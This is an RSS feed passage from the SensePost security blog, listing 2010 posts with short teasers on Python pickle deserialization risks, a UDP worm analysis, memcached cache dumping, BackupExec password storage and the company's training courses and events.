				<title>Playing with Python Pickle #2</title>
				<link>https://sensepost.com/blog/2010/playing-with-python-pickle-%232/</link>
				<pubDate>Tue, 09 Nov 2010 14:07:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/playing-with-python-pickle-%232/</guid>
				<description>&lt;p&gt;[This is the second in a series of posts on Pickle. Link to part &lt;a href=&#34;http://www.sensepost.com/blog/5141.html&#34;&gt;one&lt;/a&gt;.]&lt;/p&gt;&#xA;&lt;p&gt;In the previous post I introduced Python&amp;#8217;s Pickle mechanism for serializing and deserializing data and provided a bit of background regarding where we came across serialized data, how the virtual machine works and noted that Python intentionally does not perform security checks when unpickling.&lt;/p&gt;&#xA;&lt;p&gt;In this post, we&amp;#8217;ll work through a number of examples that depict exactly why unpickling untrusted data is a dangerous operation. Since we&amp;#8217;re going to handcraft Pickle streams, it helps to have an opcode reference handy; here are the opcodes we&amp;#8217;ll use:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Playing with Python Pickle #1</title>
				<link>https://sensepost.com/blog/2010/playing-with-python-pickle-%231/</link>
				<pubDate>Tue, 09 Nov 2010 01:05:42 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/playing-with-python-pickle-%231/</guid>
				<description>&lt;p&gt;&lt;span&gt;In our recent memcached investigations (a blog post is still in the wings) we came across numerous caches storing serialized data. The caches were not homogenous and so the data was quite varied: Java objects, ActiveRecord objects from RoR, JSON, pre-rendered HTML, .Net serialized objects and serialized Python objects. Serialized objects can be useful to an attacker from a number of standpoints: such objects could expose data where naive developers make use of the objects to hold secrets and rely on the user to proxy the objects to various parts of an application. In addition, altering serialized objects could impact on the deserialization process, leading to compromise of the system on which the deserialization takes place.&lt;/span&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Abu Dhabi – Full … NOT!</title>
				<link>https://sensepost.com/blog/2010/black-hat-abu-dhabi-full-not/</link>
				<pubDate>Sun, 31 Oct 2010 23:29:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/black-hat-abu-dhabi-full-not/</guid>
				<description>&lt;p&gt;The bad news is that our course at &lt;a href=&#34;http://www.sensepost.com/services/training/blackhat%20abu%20dhabi&#34;&gt;Black Hat Abu Dhabi&lt;/a&gt; is completely full. The good news is &amp;#8230; they&amp;#8217;ve given us a bigger room! So if you&amp;#8217;ve been told the course is full, or if you haven&amp;#8217;t registered yet, please do it quickly before it fills up again.&lt;/p&gt;&#xA;&lt;p&gt;Problems? Please &lt;a href=&#34;http://www.sensepost.com/contact%20us&#34;&gt;contact us&lt;/a&gt; or mail training[at]sensepost[dot]com.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Analysis of a UDP worm</title>
				<link>https://sensepost.com/blog/2010/analysis-of-a-udp-worm/</link>
				<pubDate>Mon, 25 Oct 2010 20:46:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/analysis-of-a-udp-worm/</guid>
				<description>&lt;h3&gt;Introduction&lt;/h3&gt;&#xA;&lt;p&gt;From time to time I like to delve into malware analysis as a pastime and post interesting examples, and recently we  received a malware sample that had a low-detection rate. Anti-Virus coverage was 15/43 (35.7%) based on a &lt;strong&gt;virustotal.com&lt;/strong&gt; &lt;a href=&#34;http://www.virustotal.com/file-scan/report.html?id=3498a24cee736e4d0bb5969afa37e9e095a511229ae000f145937f77d957ec82-1287952393&#34; target=&#34;_blank&#34;&gt;report&lt;/a&gt; and Norman sandbox did not detect any suspicious activity as shown in the report below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2010/analysis-of-a-udp-worm/f4b3c5c4dfc7c5f61e458d5a267def4f.png&#34;&gt;&lt;img alt=&#34;norman sandbox report&#34;  height=&#34;205&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2010/analysis-of-a-udp-worm/ea5e6f4d810bf0c1c2838b0c37d9774a.png&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span&gt;Norman sandbox report did not show any registry or network activity. This might be due to the use of virtual CPU or sandbox bypass techniques by the malware. Sunbelt sandbox was down at the time of the analysis.&lt;/span&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sensepost Training in November</title>
				<link>https://sensepost.com/blog/2010/sensepost-training-in-november/</link>
				<pubDate>Thu, 14 Oct 2010 14:05:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-training-in-november/</guid>
				<description>&lt;p&gt;Our next scheduled training sessions have been planned for November. If you&amp;#8217;re interested in attending, the dates and locations are:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1) HBN &lt;a href=&#34;http://www.sensepost.com/services/training/bootcamp&#34;&gt;Bootcamp&lt;/a&gt; Edition 7-9th November, &lt;a href=&#34;http://www.sensepost.com/services/training/blackhat%20abu%20dhabi&#34;&gt;BlackHat Abu Dhabi&lt;/a&gt;&lt;br /&gt;&#xA;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8216;&lt;em&gt;Hacking By Numbers &amp;#8211; Bootcamp Edition&lt;/em&gt;&amp;#8216; is our &amp;#8216;introduction to hacking&amp;#8217; course. It is strongly  method-based and emphasizes structure, approach and thinking over tools  and tricks. The course is popular with beginners, who gain their first  view into the world of hacking, and experts, who appreciate the sound,  structured approach.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Gitex 2010 Dubai</title>
				<link>https://sensepost.com/blog/2010/gitex-2010-dubai/</link>
				<pubDate>Wed, 13 Oct 2010 15:40:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/gitex-2010-dubai/</guid>
				<description>&lt;p&gt;At the invitation of the South African Department of Trade and Industry SensePost will form part of a South African delegation represented at GITEX 2010 from 17-21 October 2010:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dubai International Convention and Exhibition Centre (DICEC) Dubai, United Arab Emirates&lt;/li&gt;&#xA;&lt;li&gt;Hall 5, Stand C6-20B&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you are in Dubai or intend to visit the Gitex event, come over and visit me, Shane Kemp, at the SensePost stand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.sensepost.com/gitex&#34;&gt;http://www.sensepost.com/gitex&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking By Numbers – South Africa – September ’10</title>
				<link>https://sensepost.com/blog/2010/hacking-by-numbers-south-africa-september-10/</link>
				<pubDate>Thu, 26 Aug 2010 14:17:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/hacking-by-numbers-south-africa-september-10/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2010/hacking-by-numbers-south-africa-september-10/a3a4a12238bfcd0ddadf218132b363f5.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;200&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2010/hacking-by-numbers-south-africa-september-10/a3a4a12238bfcd0ddadf218132b363f5.jpg&#34; title=&#34;1st&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;From the team that won the world&amp;#8217;s first &lt;a href=&#34;http://sites.google.com/site/securitytournament/home&#34;&gt;Soccer Hack Cup&lt;/a&gt;, we bring you the latest and the greatest  in computer hacking training &amp;#8211; SensePost  &lt;a href=&#34;http://www.sensepost.com/services/training/extended&#34;&gt;Hacking By Numbers Extended Edition&lt;/a&gt; &amp;#8211; a local course that combines two of the brand new courses we just finished presenting at &lt;a href=&#34;http://www.blackhat.com/html/bh-europe-09/train-bh-eu-09-index.html&#34;&gt;Black Hat Las Vegas&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The training will be offered in Brooklyn Pretoria from 14 &amp;#8211; 17 September  2010. Here&amp;#8217;s how it will work:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;14 &amp;#8211; 15 September: &lt;a href=&#34;http://www.sensepost.com/services/training/cadet&#34;&gt;Cadet Edition&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;16 &amp;#8211; 17 September: &lt;a href=&#34;http://www.sensepost.com/services/training/bootcamp&#34;&gt;Bootcamp  Edition&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ok ok ok, so Pretoria is not exactly Vegas, but the courses are fresh and updated and packed full of exciting new content, tools and techniques.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Information Security South Africa (ISSA) 2010</title>
				<link>https://sensepost.com/blog/2010/information-security-south-africa-issa-2010/</link>
				<pubDate>Tue, 10 Aug 2010 12:39:18 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/information-security-south-africa-issa-2010/</guid>
				<description>&lt;p&gt;Last week we presented an invited talk at the ISSA conference on the topic of online privacy (embedded below, click through to SlideShare for the original PDF.)&lt;/p&gt;&#xA;&lt;p&gt;The talk is an introductory overview of Privacy from a Security perspective and was prompted by discussions between security &amp;amp; privacy people along the line of &amp;#8220;Isn&amp;#8217;t Privacy just directed Security? Privacy is to private info what PCI is to card info?&amp;#8221; It was further prompted by discussion with Joe the Plumber along the lines of &amp;#8220;Privacy is dead!&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Memcached talk update</title>
				<link>https://sensepost.com/blog/2010/memcached-talk-update/</link>
				<pubDate>Sat, 07 Aug 2010 08:05:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/memcached-talk-update/</guid>
				<description>&lt;p&gt;Wow. At some point our talk hit &lt;a href=&#34;http://news.ycombinator.com/item?id=1578750&#34;&gt;HackerNews&lt;/a&gt; and then &lt;a href=&#34;http://it.slashdot.org/story/10/08/07/035255/Cache-On-Delivery-mdash-Memcached-Opens-an-Accidental-Security-Hole&#34;&gt;SlashDot&lt;/a&gt; after swirling around the &lt;a href=&#34;http://search.twitter.com/search?q=memcached&#34;&gt;Twitters&lt;/a&gt; for a few days. The attention is quite astounding given the relative lack of technical sexiness to this; explanations for the interest are welcome!&lt;/p&gt;&#xA;&lt;p&gt;We wanted to highlight a few points that didn&amp;#8217;t make the slides but were mentioned in the talk:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bit.ly and GoWalla repaired the flaws extremely quickly, prior to the talk.&lt;/li&gt;&#xA;&lt;li&gt;PBS didn&amp;#8217;t get back to us.&lt;/li&gt;&#xA;&lt;li&gt;GlobWorld is in beta and isn&amp;#8217;t publicly available yet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For those blaming admins or developers, I think the criticism is overly harsh (certainly I&amp;#8217;m not much of a dev as the &amp;#8220;go-derper&amp;#8221; source will show). The issues we found were in cloud-based systems and an important differentiating factor between deploying apps on local systems as opposed to in the cloud is that developers become responsible for security issues that were never within their job descriptions; network-level security is oftentimes a foreign language to developers who are more familiar with app-level controls. With cloud deployments (such as those found in small startups without dedicated network-security people) the devs have to figure all this out.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Write-up: go-derper and mining memcaches</title>
				<link>https://sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/</link>
				<pubDate>Wed, 04 Aug 2010 09:57:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/</guid>
				<description>&lt;p&gt;[Update: Disclosure and other points discussed in a little more detail &lt;a href=&#34;http://www.sensepost.com/blog/4907.html&#34;&gt;here&lt;/a&gt;.]&lt;/p&gt;&#xA;&lt;h3&gt;Why memcached?&lt;/h3&gt;&#xA;&lt;p&gt;At BlackHat USA last year we spoke about attacking cloud systems, while the thinking was broadly applicable, we focused on specific providers (&lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34; target=&#34;_self&#34;&gt;overview&lt;/a&gt;). This year, we continued in the same vein except we focused on a particular piece of software used in numerous large-scale application including many cloud services. In the realm of &amp;#8220;software that enables cloud services&amp;#8221;, there appears to be a handful of &amp;#8220;go to&amp;#8221; applications that are consistently re-used, and it&amp;#8217;s curious that a security practitioner&amp;#8217;s perspective has not as yet been applied to them (disclaimer: I&amp;#8217;m not aware of parallel work).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Go-derper: mining your memcacheds</title>
				<link>https://sensepost.com/blog/2010/go-derper-mining-your-memcacheds/</link>
				<pubDate>Fri, 30 Jul 2010 09:34:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/go-derper-mining-your-memcacheds/</guid>
				<description>&lt;p&gt;Today at &lt;a href=&#34;http://blackhat.com/html/bh-us-10/bh-us-10-schedule.html&#34;&gt;BlackHat USA 2010&lt;/a&gt; we released a tool for manipulating memcached instances; we still need to write it up properly but here&amp;#8217;s a &lt;a href=&#34;http://www.sensepost.com/labs/tools/poc/go-derper&#34;&gt;link to the tool&lt;/a&gt; for the moment.&lt;/p&gt;&#xA;&lt;p&gt;tl;dr: if you find a memcached, you can dump the cache and manipulate entries in the cache.&lt;/p&gt;</description>
			</item>
			<item>
				<title>HTTP Methods per Directory</title>
				<link>https://sensepost.com/blog/2010/http-methods-per-directory/</link>
				<pubDate>Mon, 28 Jun 2010 08:33:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/http-methods-per-directory/</guid>
				<description>&lt;p&gt;A very common finding in our day to day vulnerability management endevours is the HTTP Methods Per Directory.&lt;/p&gt;&#xA;&lt;p&gt;In its most basic form, HackRack will determine which HTTP methods are allowed on various web or CGI directories by calling the OPTIONS methods per directory. On its own it is not always significant but as soon as you have directories that allow for PUT or DELETE, and weak directory permissions are in place, the picture can become much more colourful.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Corporate Threat(Risk) Modeler</title>
				<link>https://sensepost.com/blog/2010/sensepost-corporate-threatrisk-modeler/</link>
				<pubDate>Mon, 07 Jun 2010 13:24:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-corporate-threatrisk-modeler/</guid>
				<description>&lt;p&gt;Since joining SensePost I&amp;#8217;ve had a chance to get down and dirty with the threat modeling tool. The original principle behind the tool, first released in &lt;a href=&#34;http://www.sensepost.com/blog/1166.html&#34;&gt;2007 at CSI NetSec&lt;/a&gt;, was to throw out existing threat modeling techniques (it&amp;#8217;s really attack-focused risk) and start from scratch. It&amp;#8217;s a good idea and the SensePost approach fits nicely between the heavily formalised models like Octave and the quick-n-dirty&amp;#8217;s like attack trees. It allows fairly simple modeling of the organisation/system to quickly produce an exponentially larger list of possible risks and rank them.&lt;/p&gt;</description>
			</item>
			<item>
				<title>New SensePost Website – check it out</title>
				<link>https://sensepost.com/blog/2010/new-sensepost-website-check-it-out/</link>
				<pubDate>Mon, 07 Jun 2010 12:08:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/new-sensepost-website-check-it-out/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2010/new-sensepost-website-check-it-out/3e2b536ee6f33936836864433a767890.png&#34;&gt;&lt;img alt=&#34;New Site&#34;  height=&#34;245&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2010/new-sensepost-website-check-it-out/437f931e7d09f9b9c461da8868ee8dc9.png&#34; title=&#34;New Site&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sigh. We&amp;#8217;ve never been much good at marketing or advertising, and I guess we still aren&amp;#8217;t. But we have tried to give our old website a bit of a face-lift, and it&amp;#8217;s starting to feel like we&amp;#8217;re finally making some progress.&lt;/p&gt;&#xA;&lt;p&gt;Certainly most of the content is new and accurate and and certainly its much more comprehensive than our previous one. We&amp;#8217;ve also gone to some effort to implement a more user-friendly CMS that will allow us to keep the content more current and interesting.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost’s Training @ Black Hat Vegas ’10 (win something)</title>
				<link>https://sensepost.com/blog/2010/senseposts-training-@-black-hat-vegas-10-win-something/</link>
				<pubDate>Mon, 07 Jun 2010 10:11:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/senseposts-training-@-black-hat-vegas-10-win-something/</guid>
				<description>&lt;p&gt;After hearing &lt;a href=&#34;http://www.sensepost.com/blog/4739.html&#34; title=&#34;SensePost @ BlackHat USA 2010&#34;&gt;our talk was accepted at BlackHat&lt;/a&gt;, we&amp;#8217;re happy to announce that our training will be back for it&amp;#8217;s 9th straight run. Speaking of a run, we&amp;#8217;re going to be hosting the usual &lt;a href=&#34;http://www.sensepost.com/services/training/blackhat&#34; title=&#34;Training @ BlackHar&#34;&gt;marathon of courses&lt;/a&gt;: cadet, bootcamp, combat, web 2.0. But, while the names remain, we&amp;#8217;ve spent some time updating the material. In particular, &lt;a href=&#34;http://www.sensepost.com/blog/4536.html&#34; title=&#34;Bootcamp course updates&#34;&gt;bootcamp&lt;/a&gt;, combat &amp;amp; web 2.0 have been through the ringer. We&amp;#8217;re hoping to get some detailed info on the updates out in the coming weeks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>I know what your cert did last summer</title>
				<link>https://sensepost.com/blog/2010/i-know-what-your-cert-did-last-summer/</link>
				<pubDate>Thu, 03 Jun 2010 13:08:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/i-know-what-your-cert-did-last-summer/</guid>
				<description>&lt;p&gt;Most of our clients that make use of our vulnerability management service, HackRack, manage a large and usually interactive web application environment, that makes use of SSL. HackRack would then often report on findings such as weak cyphers in use (critical if the client has to adhere to PCI DSS), mismatching cert names and domain names, and then expired certs.&lt;/p&gt;&#xA;&lt;p&gt;Now, this is easy to check and re-check when you have a couple of single hosts and openssl foo. But, a couple of hundred sites and things get interesting and time consuming.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost at BlackHat USA 2010</title>
				<link>https://sensepost.com/blog/2010/sensepost-at-blackhat-usa-2010/</link>
				<pubDate>Mon, 31 May 2010 13:10:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-at-blackhat-usa-2010/</guid>
				<description>&lt;p&gt;A brief update from South Africa on some recent talks as well as the upcoming BH USA: our talk proposal has been accepted for BH USA 2010 which makes it the ninth year running that SensePost is talking in Las Vegas. One more and we qualify for free milkshakes at the Peppermill. This year we&amp;#8217;ll be discussing caching in large scale web apps and why exposing caches to the interwebs is a Very Bad Thing. We&amp;#8217;ll also be looking at caching services, an idea whose time should never come.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost J-Baah</title>
				<link>https://sensepost.com/blog/2010/sensepost-j-baah/</link>
				<pubDate>Tue, 18 May 2010 09:29:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-j-baah/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2010/sensepost-j-baah/b1acfddea4410768eeeb780e393dc243.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;270&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2010/sensepost-j-baah/b1acfddea4410768eeeb780e393dc243.png&#34; title=&#34;JBaah&#34; width=&#34;500&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I&amp;#8217;m pleased to announce the release of J-Baah &amp;#8211; the port of CrowBar (our generic HTTP Fuzzing tool) to Java.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;#8217;ve used CrowBar before, using J-Baah should be a breeze.  If you haven&amp;#8217;t, it actually has a help section. :P&lt;/p&gt;&#xA;&lt;p&gt;You can grab a copy of J-Baah from &lt;a href=&#34;http://www.sensepost.com/labs/tools/pentest/j-baah&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit 2010 &amp; Afterparty</title>
				<link>https://sensepost.com/blog/2010/itweb-security-summit-2010-afterparty/</link>
				<pubDate>Tue, 04 May 2010 13:22:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/itweb-security-summit-2010-afterparty/</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;http://www.itweb.co.za/events/securitysummit/2010/&#34;&gt;ITWeb security summit&lt;/a&gt; is coming up next week from the 11th to 13th of May. This is a conference we&amp;#8217;re quite excited about, and have been involved in for the last few years, but most recently, we&amp;#8217;ve been able to further our involvement beyond just speaking.&lt;/p&gt;&#xA;&lt;p&gt;For years I jealously watched as SensePost&amp;#8217;ers would trundle all over the world shaking hands and drinking beer with the leet haxors of the world. Then a few years ago, the ITWeb Security Summit brought over Kevin Mitnick. I remember sitting in the audience awe&amp;#8217;d not so much by what was said (sorry Kevin, I&amp;#8217;m sure it was interesting) but at the fact a real celebrity hacker was meters from me. I still keep his lock-pick business card as a memento. Since then, the summit has gotten bigger and better. ITWeb previously brought out people like Bruce Schneier (who I think thought I was a stalker), David Litchfield, Johnny Long (he&amp;#8217;s African now), Johny Cache, Richard Stiennon, Roberto Preatoni and Phil Zimmerman (he video conf&amp;#8217;ed in from his hospital bed after emergency heart surgery).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Password Strength Checker &amp; Generator</title>
				<link>https://sensepost.com/blog/2010/password-strength-checker-generator/</link>
				<pubDate>Fri, 30 Apr 2010 17:41:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/password-strength-checker-generator/</guid>
				<description>&lt;p&gt;In my previous role working as a security manager for a large retailer, I developed some password tools for various purposes, primarily to help non-security people with some of the basics. I licensed them under the GPL, and I think it&amp;#8217;s about time they saw the light of day.&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of tools, which I will explain below. They&amp;#8217;re all written in JavaScript, primarily because it is cross-platform, but can be centrally hosted. They all work in Firefox and Internet Explorer, although the automatic copy to clipboard functionality of the service desk tool is IE only.&lt;/p&gt;</description>
			</item>
			<item>
				<title>GlypeAhead: Portscanning through PHP Glype proxies</title>
				<link>https://sensepost.com/blog/2010/glypeahead-portscanning-through-php-glype-proxies/</link>
				<pubDate>Tue, 13 Apr 2010 20:45:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/glypeahead-portscanning-through-php-glype-proxies/</guid>
				<description>&lt;p&gt;As the need for online anonymity / privacy grew, the proxy industry flourished with many proxy owners generating passive incomes from their proxy networks.&lt;/p&gt;&#xA;&lt;p&gt;Although &amp;#8216;proxy&amp;#8217; is normally thought to imply some sort of daemonized application, such as &lt;a href=&#34;http://www.squid-cache.org/&#34; target=&#34;_blank&#34;&gt;Squid&lt;/a&gt; (or a &lt;a href=&#34;http://en.wikipedia.org/wiki/SOCKS&#34; target=&#34;_blank&#34;&gt;SOCKS&lt;/a&gt;) daemon, the last couple of years have heralded in the age of CGI proxies and more commonly, their &lt;a href=&#34;http://www.php.net/&#34; target=&#34;_blank&#34;&gt;PHP&lt;/a&gt; variants.&lt;/p&gt;&#xA;&lt;p&gt;These PHP proxies are extremely trivial to deploy and configure, especially since most hosting environments have PHP installed by default. When development of PHProxy (a popular PHP proxy) ceased, many devoted fans starting releasing their own customised PHProxy fixes and variants. In recent years, however, many proxy owners have gravitated towards &lt;a href=&#34;http://www.glype.com/&#34; target=&#34;_blank&#34;&gt;Glype&lt;/a&gt; since it seemed to be well maintained (though the current status may be questionable).&lt;/p&gt;</description>
			</item>
			<item>
				<title>BroadView V4 Attributes</title>
				<link>https://sensepost.com/blog/2010/broadview-v4-attributes/</link>
				<pubDate>Thu, 01 Apr 2010 14:43:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/broadview-v4-attributes/</guid>
				<description>&lt;p&gt;Following on from &lt;a href=&#34;http://www.sensepost.com/blog/4546.html&#34;&gt;Evert&amp;#8217;s posting&lt;/a&gt; about the new BroadView v4, I&amp;#8217;d like to showcase a specific aspect of BV that we&amp;#8217;ve found useful, namely Attributes. These are small pieces of data collected and maintained for each host scanned by BV including somewhat mundane bits of info like IP address and OS but, they also include some really tasty morsels about remote hosts that are scanned. Attributes are collected on a per-scan-per-host basis, and are populated by each test that runs during the scan. Since attribute population is dependent on the selected tests, the set of Attributes available to you would vary according to you configuration.&lt;/p&gt;</description>
			</item>
			<item>
				<title>‘Scraping’ our time servers</title>
				<link>https://sensepost.com/blog/2010/scraping-our-time-servers/</link>
				<pubDate>Wed, 31 Mar 2010 12:03:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/scraping-our-time-servers/</guid>
				<description>&lt;p&gt;The intertubes have been humming lately around a certain NTP feature to gather lists of NTP servers’  clients and it naturally grabbed our attention.&lt;br /&gt;&#xA;The humming was started by HD Moore recently where he revealed that it is possible to query NTP servers to get lists of addresses and using the information for fun and profit. He also mentioned that he will be releasing a paper describing all this and how he can create a sizable DDOS using NTP, without giving too much detail about it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BroadView – coming of age</title>
				<link>https://sensepost.com/blog/2010/broadview-coming-of-age/</link>
				<pubDate>Tue, 30 Mar 2010 15:38:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/broadview-coming-of-age/</guid>
				<description>&lt;p&gt;Ever since Ron Gula&amp;#8217;s &lt;a href=&#34;http://risky.biz/RB142&#34;&gt;RiskyBusiness talk #142&lt;/a&gt; about their Nessus philosophy, I decided to come out of the closet and share with our readers the work we do in the vulnerability management field. &lt;em&gt;[Ed: If you don&amp;#8217;t listen to Risky Business then, as we say in South Africa, eish.]&lt;/em&gt; Ron explained that with Nessus they aim to give users a tool that can be used for monitoring and auditing &amp;#8211; not enforcing. The &amp;#8220;&lt;em&gt;sed quis custodiet ipsos custodes&lt;/em&gt;&amp;#8221; mantra comes to mind. For 9 years now we have been building two vulnerability management solutions named HackRack (for hosted, external scanning) and BroadView (for internal scanning) and it was especially HackRack that has claimed the limelight. The runt of the litter has always been BroadView, but alas (luckily?), no more.&lt;/p&gt;</description>
			</item>
			<item>
				<title>HBN BootCamp Updated!</title>
				<link>https://sensepost.com/blog/2010/hbn-bootcamp-updated/</link>
				<pubDate>Wed, 17 Mar 2010 08:07:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/hbn-bootcamp-updated/</guid>
				<description>&lt;p&gt;Hey Everyone,&lt;/p&gt;&#xA;&lt;p&gt;As promised last week, we have made changes to the content of our HBN BootCamp course. We have updated the course content to include the following attack vectors, vulnerabilities and environments.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Web applications&lt;/li&gt;&#xA;&lt;li&gt;Client-side attack vectors&lt;/li&gt;&#xA;&lt;li&gt;Intranet vulnerabilities and exploits&lt;/li&gt;&#xA;&lt;li&gt;Time-based attacks&lt;/li&gt;&#xA;&lt;li&gt;Privilege Escalation and Pivot attacks&lt;/li&gt;&#xA;&lt;li&gt;Third Party software exploitation&lt;/li&gt;&#xA;&lt;li&gt;Data Extrusion techniques&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We believe this will significantly change the course content and encourage you to sign up for our training.&lt;/p&gt;</description>
			</item>
			<item>
				<title>CANSA Shavathon 2010</title>
				<link>https://sensepost.com/blog/2010/cansa-shavathon-2010/</link>
				<pubDate>Wed, 10 Mar 2010 09:19:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/cansa-shavathon-2010/</guid>
				<description>&lt;p&gt;This past Thursday we received notice that Boogterman &amp;amp; Partners would be a host company for the &lt;a href=&#34;http://www.shavathon.org.za/cgi-bin/giga.cgi?c=1890&#34;&gt;CANSA Shavathon 2010&lt;/a&gt; taking place on Friday, 05/03/2010. So when I send out an email to everyone at SensePost, little did I know at the time what a huge thing this would turn into. However I really shouldn&amp;#8217;t be surprised as this is a typical show of how &amp;#8220;We Roll&amp;#8221;!&lt;/p&gt;&#xA;&lt;p&gt;I was challenged (as the only girl in the office) to shave my head for CANSA. Well what can I say, the guys really wanted to see me do this because the enthusiasm was amazing! However more importantly we raised R3000.00 for this worthy cause and I was also able to donate my hair (as it met the length criteria) to make a wig and a R100 also goes to CANSA when they sell it. CANSA Shavathon&amp;#8217;s goal was to raise&lt;a href=&#34;https://www.givengain.com/cgi-bin/giga.cgi?cmd=cause_dir_project&amp;amp;project_id=8060&amp;amp;cause_id=1890&#34;&gt; R10 million&lt;/a&gt; and it would seem they have raised over R19 million so far which is brilliant!&lt;a href=&#34;https://www.givengain.com/cgi-bin/giga.cgi?cmd=cause_dir_project&amp;amp;project_id=8060&amp;amp;cause_id=1890&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt; Showing how supportive South Africans are in general to this worthy cause which makes me proud to be South African!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Decrypting Symantec BackupExec passwords</title>
				<link>https://sensepost.com/blog/2010/decrypting-symantec-backupexec-passwords/</link>
				<pubDate>Fri, 05 Mar 2010 10:56:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/decrypting-symantec-backupexec-passwords/</guid>
				<description>&lt;p&gt;BackupExec agent is often among common services found on the internal pen tests. The agent software stores an encrypted &lt;a href=&#34;http://seer.entsupport.symantec.com/docs/267171.htm&#34;&gt;&amp;#8220;logon account&amp;#8221;&lt;/a&gt; password in its backend MS SQL database (LoginAccounts table). These accounts include the &amp;#8220;system logon account&amp;#8221; which is used to run agent services and an optional number of active directory accounts that are used to access resources over the network. The following scenarios can result in access to encrypted passwords:&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost trains in Spain.</title>
				<link>https://sensepost.com/blog/2010/sensepost-trains-in-spain./</link>
				<pubDate>Thu, 04 Mar 2010 11:18:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-trains-in-spain./</guid>
